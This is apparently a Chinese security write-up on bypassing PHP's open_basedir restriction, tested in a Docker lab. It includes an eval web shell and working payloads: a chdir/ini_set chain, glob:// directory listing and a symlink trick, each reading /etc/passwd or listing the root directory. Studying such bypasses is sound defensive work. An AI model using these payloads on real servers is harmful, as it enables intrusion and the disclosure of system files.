open_basedir简介
将php所能打开的文件限制在指定的目录树中,包括文件本身。这个指令是不是由安全模式打开或者关闭的影响
当程序要使用例如include()、fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。
所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。如果文件不存在,则无法解析符号链接,并且将文件名与(已解析的)open_basedir进行比较
用open_basedir指定的限制是目录名,而不是前缀(官方说法);实际上,如果开发者设置open_basedir为
/var/www/html/yq1ng
,没有最后一个斜线结束的话限制的为前缀而不是目录,例如,访问者可以访问yq1ng
里面的文件,也能访问yq1ngxxx
里面的文件;设置为/var/www/html/yq1ng/
则是限制到yq1ng
目录影响范围:open_basedir不仅会影响文件系统功能;还可能会影响文件系统功能。例如,如果
MySQL
配置为使用mysqlnd
驱动程序,LOAD DATA INFILE
则会受到open_basedir的影响。PHP的许多扩展功能都open_basedir
以这种方式使用注意:使用open_basedir会将realpath_cache_size设置 为
0
,从而禁用realpath缓存。这样会降低php处理速度特殊值
.
表示脚本的工作目录将用作基本目录。但是,这有点危险,因为可以使用chdir()轻松更改脚本的工作目录在Windows下,用分号分隔目录。在所有其他系统上,请用冒号分隔目录。作为Apache模块,父目录的open_basedir路径现在会自动继承
连续使用open_basedir并不会覆盖
测试环境
docker:docker pull php:7.4.9-apache-buster
php.ini:open_basedir = '/var/www/html/'
一句话脚本:<?php eval($_GET['shell']);?>
<?php
//测试脚本,和上面一样的效果,这样测试更容易切换
ini_set('open_basedir','/var/www/html/');
error_reporting(0);
highlight_file(__FILE__);
eval($_GET['shell']);
验证:?shell=var_dump(scandir('./'));
?shell=var_dump(scandir('../'));
chdir()
手册说chdir()是个危险的函数,然后@edgarboda推特发布了一个poc
payload:mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system('cat ../../../../../etc/passwd');
底层解析:从PHP底层看open_basedir bypass
系统函数绕过
这种很鸡肋吧,一般都会有disable_function
pl:system('cd /;cat /etc/passwd;');
or system('cat ../../../../../etc/passwd');
glob://协议
简介
- glob:// — 查找匹配的文件路径模式
- 数据流包装器自 PHP 5.3.0 起开始有效
- 封装协议摘要
属性 | 支持 |
---|---|
受限于 allow_url_fopen | No |
受限于 allow_url_include | No |
允许读取 | No |
允许写入 | No |
允许附加 | No |
允许同时读写 | No |
支持 stat() | No |
支持 unlink() | No |
支持 rename() | No |
支持 mkdir() | No |
支持 rmdir() | No |
可以看到其并不受限于open_basedir
示例
<?php // 循环 ext/spl/examples/ 目录里所有 *.php 文件 // 并打印文件名和文件尺寸 $it = new DirectoryIterator("glob://ext/spl/examples/*.php"); foreach($it as $f) { printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024); } ?>
单纯使用此协议并不能列目录。不过使用此协议只能列目录(且只能列举根目录下的文件和限制目录下的文件),并不能读写文件≧ ﹏ ≦
DirectoryIterator+glob://
这个是老朋友了,php5的新增类,DirectoryIterator类提供了一个查看文件系统目录内容的简单接口
pl:$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}
scandir()+glob://
pl: var_dump(scandir('glob:///*'));
函数如果没有ban掉这个方法简单易用
opendir()+readdir()+glob://
pl: if($b=opendir('glob:///*')){while (($file = readdir($b)) !== false){echo $file." ";}closedir($b);}
symlink()函数
简介
symlink — 建立符号连接(php4开始启用)
symlink ( string
$target
, string$link
) : bool一般受限于open_basedir
简单poc
<?php
mkdir("a");
chdir("a");
mkdir("b");
chdir("b");
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");//创建并进入到/var/www/html/a/b/c/d目录下
chdir("..");
chdir("..");
chdir("..");
chdir("..");//返回/var/www/html
symlink("a/b/c/d","yq1ng");//创建连接符 yq1ng -> a/b/c/d
symlink("yq1ng/../../../../etc/passwd","exp");// exp -> a/b/c/d/../../../../etc/passwd (a/b/c/d/../../../../ -> /var/www/html/在限制内,所以成功创建)
unlink("yq1ng");// 删除连接
mkdir("yq1ng");// 创建文件夹
system('cat exp');//此时 exp -> yq1ng/../../../../etc/passwd
参考p神文章